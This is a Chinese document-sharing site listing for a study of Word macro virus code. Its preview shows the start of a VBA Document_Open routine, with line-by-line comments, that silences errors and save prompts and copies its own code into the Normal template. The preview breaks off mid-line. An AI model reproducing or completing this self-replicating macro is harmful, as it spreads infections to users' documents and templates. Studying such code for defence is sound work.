Doc宏病毒代码研究.docVIP

  • 14
  • 0
  • 约1.66千字
  • 约 2页
  • 2019-08-07 发布于浙江
  • 举报
Micro-Virus Sub Document_Open()文档打开时运行的程序过程 On Error Resume Next 遇到错误执行下一行 Application.DisplayStatusBar = False 把状态栏设置为不显示 MsgBox DisplayStatusBar = False Options.SaveNormalPrompt = False 将Word 在退出之前是否保存对 Normal 模板更改的提示设置为否 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) 设Ourcode等于这个文档的工程代码的1-100行 MsgBox Ourcode get normal Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule 设Host等于Word模板的工程代 if normal, set active; If ThisDocument = NormalTemplate Then 如果这个文档等于Word模板,那么 MsgBox ThisDocument = NormalTemplate Set Host = ActiveDocument.VBProject.VBC

文档评论(0)

1亿VIP精品文档

相关文档